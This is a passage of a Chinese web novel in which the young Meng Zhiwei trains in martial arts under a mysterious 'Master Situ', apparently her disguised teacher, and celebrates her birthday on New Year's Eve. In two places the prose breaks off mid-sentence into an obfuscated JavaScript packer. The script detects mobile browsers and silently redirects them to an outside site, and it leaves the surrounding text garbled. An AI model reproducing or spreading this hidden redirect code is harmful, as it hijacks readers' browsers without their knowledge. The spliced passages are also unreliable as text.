他人站得较远些:“我云游至此,见到你苦练枪法,势头虽好,但不成章法。” 孟知微知道他说的是对的:“请公子赐教。” 那穿一身黑衫的男子单手拿起一旁的一个半人高的竹竿,轻巧当剑。 他手腕只是转了一下,地上贴着卧着的竹叶瞬间被“剑气”翻滚出十几米远去,竹林中瞬间刮过一阵风,窸窣入耳,如千马过境。 这么强的吗? 孟知微连忙礼貌上前弯腰谄媚:“请问这位前辈怎么称呼?” “我姓司徒,单名一个让字” “司徒前辈云游至此,可有游玩尽兴?近到这片山脚,远到京都,都没有我不知道的好玩的地方,前辈不妨多呆些日子,我好好与前辈说说。” 原是骗人多留些日子好方便她赖着学功夫。 温淮川假意咳了咳:“那你说说,你都知道哪些好玩的地方。” 孟知微:“前辈喜欢斗鸡走狗,还是投壶覆射?我看您气度不凡,应当是隐姓埋名闯荡江湖的公子,京都现在公子哥们流行斗蛐蛐,也是好玩的。” 他不曾知道她竟然还了解这么多,看起来解孤山一年她在他眼皮子底下也没少出去厮混,想来是平日里怕他责怪,才口风这么紧。 也好,现在借着这个身份,也多能打听些事情出来。 温淮川表面显得看不上的的样子:“这都是寻常玩意。” “这都是寻常吗?”孟知微默念,如果这些都是寻常的话…… 孟知微:“青楼楚馆,戏楼赌坊我也略知一二。” 她刚说完,不料那前辈公子突然转过身来。 “你一个女子怎会通晓这些。” 孟知微不知这些话的意思,她以为是对方嫌弃自己挑的地儿没说服力。 孟知微:“我下山扮作男装,结识了牛家大郎,他是个不学无术的纨绔子弟,常带我和二郎出入这些烟花之地,所以我自然是通晓这些。” 温淮川压了压愠气:“你既是女子,那他宴饮狎妓的时候,你又在作何?” 孟知微:“我在温习先生交给我的课业。” 温淮川:…… 倒也努力。 温淮川:“近墨者黑,姑娘还是少与这些人为伍。” 孟知微不说话,盯着他。 温淮川:“你盯着我作甚?” 孟知微:“司徒前辈说这话的口吻和我家先生一模一样。” 温淮川侧了侧身子:“你既让我指教,那我自然也算你的师父,为师者口吻自然相似。” 孟知微反应过来对面要收自己为徒,连忙跪下来行大礼:“徒儿叩谢师父大恩,明天一定给师父备下敬师父茶。” 温淮川:“敬师茶倒是不必。我也只能短暂停留,你我师徒缘分情浅,时间有限,你不妨先说说你想学点什么。” 孟知微连忙站起来:“牛家看门的护院使的是棒槌,一棒槌下去再凶的人脑浆都砸成泥,我可使得?” 温淮川皱皱眉头:“先不说笨重,太过血腥。” 孟知微轻声说道:“杀人又不是写字,还得漂亮。” 孟知微:“长刀、长剑、长枪如何?” 师父摇头:“难以速成。” 孟知微:“那暗器、用毒呢?” 师父拒绝:“多有反噬。” 孟知微泄气:“那师父觉得我应该学点什么。” 面前的人这才转过身来:“武学最高的境界,其实不在于用的武器。若有一种方法能兵不血刃,不战而胜。岂不更好?” 孟知微的眼睛亮起来:“天底下竟然还有这种绝学,是什么!。” 温淮川:“逃跑。” 孟知微:…… 孟知微:“师父莫不是在诓我?逃跑算什么?” “只要跑的足够快,又怎么能不算是一种至高的武学境界呢。” 讲半天是要教她怎么逃跑。 孟知微恹恹地揪了一旁摇摇晃晃的杂草脑袋:“司徒师父的意思是让我打不过的时候就跑。” “错。”这位司徒师父纠正到,“是还没有打就要跑。” 孟知微用手指给杂草头子绕了个圈:“好窝囊呀。” 师父却很是严肃:“毫发无损地全身而退,不是窝囊,而是一种智慧。” 孟知微:“我家先生说我最没有的就是智慧。” 温淮川回忆了一下,他说过这种话吗? 那还挺伤人的。 温淮川辩了辩:“严师出高徒,你家先生自是希望你成才。” 见她态度不明朗,温淮川便知她对如何逃跑,兴趣不大,于是他转头说道:“你若是觉得无用,那你一炷香之内,你追到我。” 说完后也不顾孟知微反应,几步踏飞而走。 孟知微看着人离开的背影,忙不迭地喊:“哎,唉,等等我等等我啊师父。” ——— 一炷香之后,孟知微心服口服,她看出这位司徒前辈在等她,可没等到她追上他的背影,他却又消失在密林里。 她这位来无影去无踪的师父,最后回到了原点等她。 孟知微被绕了一大圈子,气喘呼呼地在原地作揖:“前辈轻功之快,晚辈佩服。” 竹林茂密,他一身黑衫站在顽石之上:“那你学是不学?” “学!”孟知微连忙改口,心服口服,“请师父教我,如何才能像您一样身轻如燕。” “身轻如燕往往靠内功心法,我且教你运气,你回去后日日练习,三日后,我再与你相见。” 孟知微:“何处相见?” 温淮川:“此处。” 孟知微:“可解孤山荒僻又难行,师父往后也还能上山寻到这儿吗?” 温淮川:“你见这竹林困得住我几时?” 孟知微觉得这位师父有点狂。 她原先还觉得这位师父前辈和自家先生有点像,现在想来的确他们只是身形相似,若是她先生,应是虚怀若谷的。 心法倒是不难,左不过十七八个字。 孟知微背上一遍就记住了:“可只是背诵这两句话就能学会什么功法吗?” 温淮川:“不是让你读书般背。” 孟知微:“有何不同?” 温淮川:“读书是用脑子背的,心法心法,顾名思义,是要用心去学的。气沉丹田,心中默念。” 孟知微:“那参透之时又有何种显现?” 温淮川:“倒时你自然会知晓说。” “好了,为师要走了,明日此刻,记得在这儿等我。” 说完就走了。 孟知微将信将疑地第二天出现在竹林,谁知那位师父却早早地到了。 起先孟知微还有些怀疑,可这位师傅教课很是认真,像是真的要教会她东西的样子,所以后来她把心放在肚子里,学着那一套心法运气练功。 只不过她这两头拜师,孟知微过的战战兢兢,莫名其妙有种“认贼作父”的感觉,总觉得心里有愧疚,连带着在温先生的学堂上,上课也上得尤其认真。 自从她那天给了那位司徒师父敬师茶后又恍然想起来自己都没有给自家先生拜过敬师茶,于是她又摆了好大的阵仗,作揖给温先生也敬了茶。 温先生接过茶盏,问她,何故如此大礼。 孟知微:“小五去山下寻得好茶,感念先生上次搭救。” 温淮川尝了一口,确认他手上这杯比上次她献给“司徒师父”的要品相更好,风味更醇。 由此可见,他在她心里,还是比那个相遇没几天的“师父”高出一大截的。 但她这些天又对于学武这件事很勤快,一下课就跑没影了,他又时常反思,难不成是那个师父教的好些,她才乐意去些? 孟知微这头也觉得很苦恼,这些天她明明上课认真听讲,不惹温先生生气,可为什么下课的时间越来越晚了,留堂的作业也越来越多了。 有时候她都害怕赶不上司徒师父的训练。 好在她这位司徒师父也不是个守时的,这才免生一些事故。 这天如约二人相见,孟知微练了这所谓的功法好些天,竟也能在梅花桩上站稳了。 温淮川坐在亭子里喝茶,见着年下冬日寒风凛冽,她倒也不知寒冷,单脚站桩在那儿一动不动的。 于是他便问她:“小五,你家先生知道你不抄诗词礼学,在这儿练功吗?” 孟知微在桩上金鸡独立:“咦,师父是如何知道今天先生让我抄书了?” 温淮川脸色稍变,恰好瞧见她带来的书袋,于是用手边拿竹竿指着说道:“我见你带了《孟子》来。” 孟知微叹了一口气,换了另一只腿:“我家先生不知怎了,最近课业特别多。” 温淮川不动声色地掀开眼皮:“严师出高徒。” 孟知微:“但抄书就很没有必要,那书上的东西我都知晓了何须要再抄呢,我等会下山让牛二郎与我抄就是。” 温淮川:“牛二郎?” 孟知微:“是,牛家二郎同我一起在先生学堂上课,字迹与我一般难看,用我家先生的话说,就跟小鸡爪子画画似的,更何况我的抄写,先生收走后都不细看的。我与他钱财,他帮我抄写,我们已经形成了很稳固的关系了。” 温淮川挑挑眉头:“何为稳固?。” 孟知微:“取长补度。我聪慧些,先生的留堂作业都是我教给牛二郎的,他蠢笨些,所以这些抄写的活他都全包了。” 下头亭子里的人若有所思。 第二天,孟知微就领了手心三大板子,原因是牛家二郎替她抄的被她先生看出来了。 温先生拿着她那个纸面,点着她的那几个字:“你莫不是真当你家先生是眼瞎的。” “偷奸耍滑。” 先生发了好大的火,孟知微认错受罚,暗自腹诽,怎么偏偏今天就这么倒霉,先生偏偏就检查起她的抄写来了呢。 孟知微领回罚抄三遍。 这次不能再让牛二郎写的了,孟知微就练功空隙趴在竹林的大石头上奋笔疾书。 那石头本就不平整,磨砺粗糙的,温淮川看她写的那几个字,坐卧飞扬的,频频 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040206|178679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不忍。 温淮川:“你何故要在这里写呢。” 孟知微:“若我不趁着此抄写,那我就只能在晚上抄写了,先生常说夜里灯光伤了眼睛,是不许我夜间学习的。” 温淮川瞥她一眼,试探闻道:“你家先生有这么多的规矩,你向往江湖恣意,可曾觉得拘束?” 孟知微依旧趴在那石头上,没抬头,墨渍沾到手上:“不会,江湖虽好,可我早就把解孤山当做是自己家一般的存在了。先生爱清净自是远离世俗,且对我又有救命之恩,若有不满,也应当是先生对我不满。” 他看向说话的人,她说话间狼毫笔是横过来的,脸上不知什么时候也沾了墨。 他从来都觉得解孤山如他般沉默,料想小五这般年少恣意对万事万物都充满好奇的性格,应当也觉得这里无趣,却不想她竟然是这样想的。 “不过师父,你若是云游江湖看到什么好吃的好玩的,你可否带回来给小五长长见识。” 温淮川摘过她的衣衫一角,沾了沾林中的露水,然后用她的袖子给她抹了脸:“江湖能有什么好吃的好玩的?” 他的动作极其自然,好像他们已经认识了许久。 孟知微一愣,未动,等到话语间他已经擦干净了她的脸,她才说道:“您见多识广,自然是眼界高远,觉得寻常玩意都无趣,可您不知,寻常无趣的玩意在我这儿,也是没见过的新鲜东西。” 温淮川扪心自问,是他疏忽了,这一年来他只顾着叫她读书识礼,却忘了京中如同她这般年纪的姑娘,少不得有家中陪玩、闺中密友。他恍然想起唐子玉说的话,说他愿意一辈子就困在解孤山,可小五也要一辈子困在这里嘛? 温淮川:“我知道了。” 他看向她近乎已脱稚气的脸,见她垂着脑袋,身体趴在石头上,下意识地如同在课堂上一般:“抬头,莫要趴着写字。” 这句话一下子就让孟知微警醒过来,她瞬间就觉得温先生已经拿着戒尺站在她身后了。 她秉直身躯好好写,才后知后觉地反应过来,刚刚那一声是司徒师父说的。 怎会有如此相似的口吻? 她不由地侧身去看他。 他坐在那儿兀自喝茶,她的眼神落在他的唇上,又转而“攀登”上他的鼻尖,总觉得他和温先生实在是太相似了。 但他的头发全部都是黑色的,且他用的是右手,先生用的是左手。 或许大约是世界上真的有极为相似的人吧,偏偏这两个人还都是她的老师,若不是要瞒着先生她学武的事,她都想让他们认识认识。 孟知微想到这儿忽然想起来等下还有先生的课。 “遭了。”孟知微连忙收拾东西,“我忘了,今日先生要补之前他卧病时落下的课。” 坐在一旁原来喝茶的人握着茶盏往嘴边送的动作停下,他思忖了片刻。 他也忘了。 孟知微:“师父,我得先走了。再不走我得迟到了。” 她慌里慌张地拿起抄到一半的东西,往竹林折回的路上跑去。 这之后,身后的人才站起来。 —— 孟知微跑回学堂,可学堂里却安安静静,半个人影都没有。 按照从前的习惯,先生必定是提早一炷香的时间就到了,可如今这儿怎么空空如也。 她摆放好笔墨纸砚,还耐心抄了许久的字,还是观展大哥过来说,让她自己先温习功课。 都到要结课的时候,先生才缓缓而来。 先生可是从来都不迟到的。 孟知微掀开眼皮偷偷看他。 他坐在案桌上,依旧是长发如瀑,轻纱蒙眼,翻开上次未讲完的那一页,传道受业,缓缓而来。 一堂课下来,孟知微仔细按照脑海中的另一个人比较着,看出了神。 像,又不像。 课业结束后,温先生问道:“小五,你今日频频神游太虚,是何缘由?” 孟知微被戳穿:“没,没。” 温先生:“专心与不专心,都写在你的脸上。” 孟知微索性把心中疑问说道:“先生,我想问问您,您是否有什么走散的亲戚、兄弟之类的。” 温先生:“何以这样问?” 孟知微实话实说:“我近日见到一人,与先生样貌相似。” 面前的人却放下书本,他稍许俯身,看向孟知微的,孟知微努力捕捉他轻纱下的眼睛,却听得他说:“你何时见过我样貌,又怎知他的样貌与我相似?” 孟知微滑了滑喉头,也是。 温淮川再度秉直身体:“莫要再与陌生人说话了。” 那怎么行呢。 孟知微觉得那位司徒先生教的心法还是有些用处的,至少她现在站梅花桩站的稳当,身上也感觉轻盈了许多。 只不过等到下次见面的时候,天气不好。 孟知微风雨无阻,按照约定去了竹林的亭子,却只看到那儿放了一盒云片糕和一张纸条。 “雨天路滑,不宜出门,故为师失约,汝问江湖之大,可有珍味奇乐,为师特寻此云片糕,味甘凉清甜,是能担雅一字。” 18.如梦令 孟知微不得不承认,这位师父的心法还是很有成效的。 她站桩绑腿,练上几番,原先本就有点底子的翻墙爬树的功夫竟耍起来不如从前费力了。短短几天,却有如此成效。 孟知微很是感激:“师父,您一定是江湖上赫赫有名的前辈吧。” 谁知师父却只是摇摇头:“江湖藏龙卧虎,我又算得了什么。我只是泛泛之辈,在江湖寻个自由身罢了。” 孟知微:“小五听您的谈吐似乎也是世家公子出身 ,为何没有投身庙堂?” 司徒师父手中不知从何处变出一杆萧来:“我无治国安邦之志,只想莽莽此生,乐的自在。” 孟知微捧着腮帮子:“那你真的很适合和我家先生交朋友,不知道为什么,我总觉得你们很合得来。若是你们认识,你们一定会成为知己的。” “若是我们认识,那先倒霉的可是你自己。” 孟知微点点头:“也对,可我不知先生为何不让我学武。” “我倒是能猜的一二” 孟知微不料这位先生却这样说。 “为何?” “我问你,你若是天下第一,你见到你的仇家,你该如何?” “自然是杀他个片甲不留。” “若他是你杀不到的人呢?” “杀不到的人?何为杀不到的人?” “若是他身边众兵把守你无处可攻,又或者是你侥幸杀之,却要一辈子活在逃亡和流离之中呢。” “那又如何,若有机会,我拼了一条命也是要上的。” “杀之就能达到你的目的吗?而且你家先生,他留你在解孤山,是真的希望你有朝一日学成归去,寻仇挑事吗?” 说到温先生,孟知微脸上的表情有些动容:“爹爹在世时总教我知恩图报,但先生的恩情我总是还不了的。” “天下之事,非尽人力皆可为之。若是天下事都能如愿,江湖之上也不会有如此多归隐之士了,你家先生为你谋之深远。” “师父,我明白,我学武也只是为了防身,不想成为解孤山的累赘。” 这些日子,她与他说起过被困在朱家暗室一事,这位司徒师父是知道缘由的。 “晚上你与我去个地方。” “去哪儿?” “你不是总说没有实战,总是演练不知道自己到底练的如何?” 孟知微兴奋:“真的吗!我可以实战!” 说完她又沮丧下来,“可先生不让我随意下山,我与他说了多半会被驳回的。” “行与不行,你先与他去说,我在竹林等你消息。” “好。” 孟知微一路回了风月堂,本该在这个时候在书斋给古籍做批注的先生却并未在此,孟知微只看见了在那儿的观展大哥。 孟知微犹犹豫豫在门口了好一会儿,还是观展大哥主动搭的话。 “小五姑娘可是要下山?” 孟知微忙露出自己腰间带着的信号弹:“观展大哥,我这次老老实实都带了。” “那你早去早回。” 如此轻松? “你不跟着去吗? “今日我还要替先生打理书斋,就不跟着去了。” 孟知微反应不过来,往常下山要先申请,不是追风跟着就是观展大哥跟着,但这也太容易了吧。 孟知微喜上眉梢,高高兴兴地回去。 温淮川面前的茶盏都还未凉呢,竹林外的人就跑回来了。 她提起裙摆,鞋面上还沾着捎带雪水的泥,白气呼呼地来到他面前,眼角上扬如一弯月,很是高兴。 “师父,我先生同意了。” 好像这是一件天大的好事。 他才恍然想起她不过才将要满十五。 温淮川不着痕迹地把茶盏落下:“我早说过你家先生没有你说的这般不近人情。” —— 孟知微欢欢喜喜地跟在司徒师父身后。 快到年下除夕,京都很是热闹,街道院落张灯结彩,但师父却并未带着她从街道穿行而过,而是跳上屋顶,从那高高的屋脊上走的。 孟知微第一次体验这样的视角,房屋与行人皆都匍匐在自己的脚下,猎猎的风吹起她的衣衫,灯火像一条游龙盘旋在京都城里,交错的街道像是都城的血脉,宏伟的城墙卧在皇城外面。 “小五,跟紧我。” 司徒师父见她东张西望的,不由地提醒她,她轻功才有所提升,要跟上师父有些难,因此总是要司徒师父停下来等一等她。 孟知微加快了脚步,从屋脊上快速过去,滑落几片瓦片,惊到屋檐下的人,她心虚地看一眼师父,师父站在高处,对她摇摇头。 孟知微不敢开小差了,她亦步亦趋地跟着,却发现最后师父带她来了朱家。 “师父,您带我来这里干什么?” 身边的人站在屋脊如履平地,朝着下面点了点头:“是他对吗?” 孟知微透过挡着他们的树叶这才发现院子里站着的正是朱骁,他正在训斥院中的奴仆,手里拿了个鞭子,恶狠狠地朝面前的人扑去,七尺高的奴仆被打的身体一抽一抽的。 孟知微点点头:“是他。” 她看到身边的人随即从屋脊的瓦片缝隙里捡起一粒石头,他指尖稍微一用力,那石头瞬间就消失了,而后院子里传来啊的一声,孟知微循声看去,那朱骁已经掉落了鞭子,吃痛地捂着手。 “谁啊?”朱骁四处找着,“谁在那儿?” 孟知微怕被发现,见状要去拉自己师父:“师父,我们惹不起他……” “你试试。”师父却给了她一个石头子。 “啊?” “试试你的内力。” 孟知微犹豫不决地接过:“您的意思是说,让我用这个石头,弹他的手?” “是弹他的脑袋。” “啊?”孟知微拿着石头,“不好吧师父,万一被发现了……咱俩……” “你觉得就凭这几个家仆,追得上为师吗?” 孟知微:“可他们追得上我。” 她转过身去,可身边的人却面色坦然地看着她,好像她们是出来游玩般的轻松,弹朱骁的脑袋宛如给池塘里的金鱼喂食那般的简单。 温淮川:“你不想吗?” 孟知微看了看手里的石头,再一会儿后,郑重地点了点头:“想弹他很久了。” “气沉丹田,想象从脏腑里调动一股气息,流转到你的手臂上。” “瞄准位置。” 嗖的一声,石头飞出,准确无误地落在朱骁的脑门上,院子里顿时响起一阵杀猪的声音:“谁在哪儿!敢弹爷爷我你不要命了!” 孟知微站得出去些,藕色的裙摆露出一角,被朱骁发现了。 “快跑!” 她脸上得意的笑容还没有收回去,师父就伸手握过她的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049899|178679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕。 猎猎北风里,她被他带着,穿梭在京都高高的延展到天边的屋脊上,身后是大喊着追不上他们的人群,远处是高悬在夜空中的明月。 孟知微只觉得自己的心在胸膛里跳的很快,她许久没有这样热烈且无拘地跑过了。她的眼神落在面前的人握着她手腕的手上。 他们之间的连接虽然隔着衣料,但她跟在比她高许多的身躯后面,总觉得有一种莫名的安心感。 他的身形与先生别无二般。 她不由地想到,若是先生身体康健,也应当如同师父这般恣意自由吧。 他们跑了许久,跑到孟知微气喘吁吁,前面的人才停下来,他们已经甩掉那些人几条街了。 孟知微脸上还带着喜悦:“师父,你瞧见朱骁那个气急败坏的样子了嘛,今天真的好出气……” 在她前面的人却停了下来,他背手而立,仰着头似乎是在看什么东西。 孟知微几步走了上去:“师父,您瞧什么呢?” “瞭望台。”他依旧望着那高高的建筑,孟知微也跟着望着断脖子,见那建筑经久失修,应是废弃了好久。 “这楼这么高,上去定能望到全城风景。”孟知微四处查看了一番,见那上去的攀梯早已绳索俱断,她有些遗憾,“只是上不去。” “想上去?” “当然。”她话音一落,腰间传来一股力量,而后她脚下一空,未有多久,她人已经站在那高高的瞭望台上了。 她反应过来后连连称赞:“师父,我以为你在竹林已使全力,却不想这样高的瞭望台,对你来说也易如反掌。” 她走到瞭望台边,又被这满城夜景所惊讶,灯海一片,连绵不尽,她感叹:“若是在这里做守城,夜间无事的时候观赏夜色,也是美差一件呢。” 许久未说话的师父却缓缓说道:“不然。” 孟知微:“何为不然?” 师父却面朝与她相反的一面:“守城的将士的背后,才是城池夜色,他们要看的,是这一面。” “这一面……”孟知微将身体也转过来,与刚刚满目璀璨不同的是,这一面对过去,只有孤寂的夜色,空洞的黑暗。 “他们要凝望远处,时刻勘察远处的瞭望台,若有灯火点燃,那便是强敌来犯。” 孟知微想起来了:“难道这就是当年靖边大将军创立的八卦烽烟台?” 站在黑暗里的人面色晦暗不明,只是问她:“你知道?” 孟知微:“我父亲与我讲过,当年靖边大将军改良了传统沿袭的烽火台,利用八卦之势,解决了烽烟因风产生偏移而判断失误的问题,更是创立了夜间的灯火戍边制度,科学排布,制定班次,我爹爹每每说起这些,总是说靖边大将军年少有为,志存高远,只是……” “只是靖边大将军因为自负,致使五万大军命丧黄土泉后,他就是历史罪人了,人们也连带着废弃了这里。” 后面的半句是司徒师父补充完整的。 孟知微惋惜:“世间人又有谁是完美无瑕的呢。” 她收拾了裙摆,坐在高高的瞭望台上,望着无边的黑暗:“但他到底是挡住了北裳人,三十年之约,北裳不敢来犯我大昶分毫。” 那样有军事才华的少年将军,到底是用血肉之躯镇守山河了。 身旁衣袂翻飞的人从腰间拿出那杆箫。 风起时明月皎皎。 闻箫声鹤唳风悲。 19.如梦令(入v公告) 今夜很是奇怪,本是极为畅快的心情却渐渐被风中送来的箫声里的情绪覆盖。 孟知微虽不会乐器,但也懂得欣赏一二,她知道司徒师父这一曲奏的极好,若是和先生那张古琴合鸣,那就是高山流水,此间少有了。 只不过这曲子底色带些悲凉,不免让人觉得感怀。 一曲完毕。孟知微问道:“师父可去过战场?” “为师一生游荡江湖,又怎么会去过战场。” “可我总听这曲子里,有金戈铁马的开阔之意。” 他收回萧,扣在腰间:“这曲子是少年时期我在边境走时,偶然从老翁口中听得,改编而成的。” “难怪……”孟知微喃喃,“难怪曲中尽是些壮志未酬的不得之慨。” 身旁的人问她:“小五去过战场?” 孟知微摇摇头:“虽羡慕男儿从军,但未曾去过。” “大昶如今太平。” 孟知微点点头,又见到城内灯火盈盈,感慨到:“不知道今年的元宵灯会不会依照惯例开?” 温淮川转头去看她,想起去年的元宵节就是因为未开灯会她才上了山。 许是察觉到身边人的目光,孟知微转过头去,自顾自地说:“去年的元宵节,爹爹答应我说给我做一盏莲花灯的,可灯会不开了,灯也没有做好。” “小五。”身旁的人这样说道。 孟知微转过头去,师父已经转过来了,孟知微看不穿他的年纪,他的外表似乎未到而立之年,但他本该一回眸生春花的眼睛却带着久经世事的深沉,莫名地吸引着她。 他启唇:“不管你从前遭遇过什么,人不应该总是沉溺于过去,不应该总是想本可以,本应该。” 月要隐退到乌云后面去了,看这个天气似乎是要下雪。 孟知微缓慢地颔首,语气理解却又不认同:“但师父,您能真的从过去中脱离出来吗,若是您真的忘记了过去,您又何须隐姓埋名呢。与我一般失去姓名的人……一定有一段难以见到天光的往事吧。” 失去姓名。 温淮川的手垂落在一旁,一阵风过来吹起他的衣衫。 从这儿望过去,看见的是京都的万家灯火。 “小五,我要走了。” 孟知微问道:“走,走去哪里? “下一个目的地。” “下一个目的地是哪里?” “走到哪里算哪里。” 孟知微顿了顿:“师父是要继续云游江湖吗?” “是。” “那我们还会有相见的那天吗?” 她从瞭望台上收回了裙摆,衣角叠在自己的膝上,眼睛像星星,模样很是乖巧。 “会有的。”他点点头。 “师父。”她的声音有点哑。 不过只是相见几天的关系,她却也要动容。 “小五,天下没有不散的宴席。” “我……明白。”她低头。 “往后,若是你再见到陌生人。凭他要交给你多翻天的功夫,你也不能轻信我一般轻信他。” 她没有轻信,是因为他实在是太像太像那个人了。 明明是第一次见面,可她总觉得每每与一起,总有那种相处已久的安全感。 “不能再过几天吗,再过几天等到除夕那日,我便过了生辰,这世界上能与我过生辰的人不多。” “小五,不要妄图去坚持那一点强行的缘分。” 他背手而立,面对那无尽的黑夜:“过了十五的生辰,你便不再是要生活在别人羽翼下的人了,这世间的路,你终得一个人走。” “但我并不知道我该往哪里走,师父,不管是读书还是练武,我都想学好,可我学了我又总是问自己,我应该如何去用。我起先在等我兄长回来,我总想着他回来的时候,我就能各方面都变得很好,但……兄长书信过来,他尚且未能安定,我又不能与他添乱。” “解孤山不好吗?” “解孤山……很好。” “你若是想闯荡江湖,想必你先生也不会拦你,天下之大,多是条条大路的出处。” “可若是我觉得这天下不公,万般命运不能自决,想要去闯一闯呢。” 她说的殷切。 少年人眼里的光还未被世俗现实磨灭。 “小五,这世间就如你面前所看到的这片黑暗一样。高举火把者虽热烈耀眼带着一行人在夜里前行,却也最容易成为最明显的活靶。” 孟知微摇摇头:“您与我师父所说、与我兄长的别无分别。” “为师者的本心都是一样的,你生性单纯,一生自由是最好的结果。” “我明白。”她从城墙上上来,直直地看着他的眼睛:“师父,谢谢您。” 眼里的诚挚是掩盖不住的,倒是让他觉得有几分心虚。 “生辰那日你依旧去竹林,我虽不能参加你的生辰宴,却也有东西要送给你。” “真的?”她雀跃,“那真是太好了。” 她话刚说完,天就下起纷纷扬扬的大雪,她伸手接过雪花,见它一瞬间就破碎在自己的手掌里,只能留得一瞬,她摇摇头:“师父,我该回去了,再不回去,先生要担心了。” 他点点头:“的确不早了。” “早些回去吧。” 他话才说完,纵身一跃,自己就架着轻功下去了。 这下轮到孟知微有些着急,她朝下面喊道:“哎,师父,你下去了我怎么办啊?” “你自己下来。”下面的人头也不回地就要走。 “哎,哎,师父!师父!”任凭她怎么着急,师父也不回头。 她一咬牙,学着之前的运气办法,闭上眼睛往下一跳,神奇般的,她站在地上毫发无损。 她不由得喜上眉梢,朝着那要往雪夜里走去的背影高声喊道:“师父!我学会了!” 他依旧是背对着他摇摇手,潇洒踏出红尘外。 —————— 孟知微的生辰,赶巧的很,就在除夕当日。 爹爹说,她的母亲是他从前外出为官渡船时就救起的绣娘,因要报他落水救命之恩,给父亲做了通房。 后因父亲被召回京都,本打算等到开春临盆之日接回娘亲,可偏偏孟知微早产。 孟知微就生在那年的大雪里,母亲生完她后,就被家人带回扬州,不知踪迹了。 父亲赶到的时候,奶娘抱着早产的她声泪俱下,怀中小儿高烧难退,体弱多病,怕是要早早夭折。 可偏偏孟知微就这样活了下来,养在庄子上,等到五岁了才接回京都养的。 爹爹说她的八字硬朗,生在年末春处,是辞旧迎新的好命格,所以每次生辰都尤为重视。京中女眷传言说她一个庶女比家中的嫡女嫡子的派头还大,当时还惹得王氏母亲面上无光,王氏为此生气。 但母亲也还是会送她爱吃的桂花糕来。旧坛藏桂花蜜,也藏了秋日最气爽的太阳。她穿着厚厚的袄子,围炉守岁,吃的香甜。 长姐刺绣,兄长练字,她赖在秋千上打盹。 生辰之日是名正言顺的不长进之时。 可今日…… 孟知微早早起来,抹了一把冰凉冻骨的山泉水,拿起已经不如她高的扫帚,如同寻常一样去扫风月堂前的雪。 谁知今日观展大哥已经早早起来了。 甚至平日鲜少看见的追风也起来了,他抱着两把刀靠在柱子上,手里拿了个盒子,似乎在等人。 等到孟知微走进了,追风伸手把那个盒子递给她。 “拿着。” “给我的?”孟知微有些惊讶。 “新的一年,别再给先生惹祸了。”他说完就塞在孟知微的怀里,走了。 孟知微打来一看,竟然是一对精致的皮影小人,她见到过追风当宝贝似的,竟然送给了她? “小五。”观展大哥也走过来,“你观展大哥没什么好送你的,这本食谱里记载了天底下最有名的酒的各类酿造办法,你好好学,说不定能复刻出失传的名酒来。” “还有我。”锁银也过来,“我给姑娘做了长寿面。” “这世间还有谁比你更有福气呢。”唐子玉拿着扇子出现了,手中拿着一个锦囊过来,“小五,这锦囊你要留好,里头可是有我精挑细选的十八种药材,往后啊,什么毒虫蛊术,都近不了你的身了。” 孟知微愣在原地。 “你们……你们怎么知道,今日是我生辰……” 雪停后的解孤山尤为漂亮,日出的金光落在山门外。 风月堂门外出现一个人,他眼蒙轻纱,唤她:“小五,过来。” 孟知微往前一步。 他手里拿着一只木匣,木匣被打开,里面安静地躺着笔墨砚台一套,那枚端砚,通身白玉色,却又暗生纹路,通透温和,一看就是名家珍品。 紫檀嵌玉的狼毫笔更是千金难买。 孟知微连连叩身:“先生,如此名贵的东西,小五万万不敢收。” 她的字写得实为难看,用这样的文房,岂不辱没? 他却俯身递给他。 孟知微抬头,起先看到的就是他骨节分明的手,修长的手指握在那木匣边上,像是白玉托举檀木。 “ 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那枪头是用母亲留给她的那杆可以变化的匕首做的,孟知微都不知道什么时候师父拿了去。她拿过银枪,发现枪上有个特殊的机关,只需要轻轻一摁,单薄的刀面立刻变成立体的枪头,半人高的手持棍枪也可变成斩马长枪。 她惊讶于兵器的精巧,手握银枪,望向安静地竹林深处。 “谢谢师父,我很喜欢您的生辰礼物。” “师父,您老人家一路走好啊!”说完之后,她又觉得哪里不大对,于是又加了一句,“我的意思是,我的意思是长命百岁!” 竹林一阵风,几处惊鸟而飞。 孟知微耍了一下银枪,半人高的随手可拿来当棍棒,正好。 她收下拿回自己的住所放在自己的床头底下,谁也没有告诉。 一个时辰后,她随先生下山。 解孤山的书屋可以称得上是一个藏经阁,孟知微不知道先生从哪里寻来这么多难以看懂的古籍的,他们大多都是世间罕见之物,有的甚至还是其他族类的文字,晦涩难懂。先生不教课时的日常就是修补这些古籍,对其中已经不沿用的文字形容加以注解,然后过一段时间送到京都的问书阁去。 问书阁对于这些难得的古籍不售卖,只是以供文人参详阅读,因此也是传播文学的美事一桩。 唐阁主却常说先生吃力不讨好,他的批注往往都不表明自己的身份,天下谁又知道这些晦涩的经文书籍是通过他批注翻译的呢。 但先生却说,只要这些见解和著作被人理解,流传于世就够了,若是被人知道了是他所做,兴许还会带来麻烦。 孟知微理解先生的选择,可先生眼疾严重,终日看这些蝼蚁般大小的字,也是让人觉得有些担忧的。 她于是在路上说道:“先生,往后翻译古籍的事,小五帮您一起。” 喝茶的人稍稍抬了抬眉头,转而看向她:“修撰经书需饱读诗书。” 孟知微撅起嘴:“您不让我帮您,您怎么知道我不行呢。” 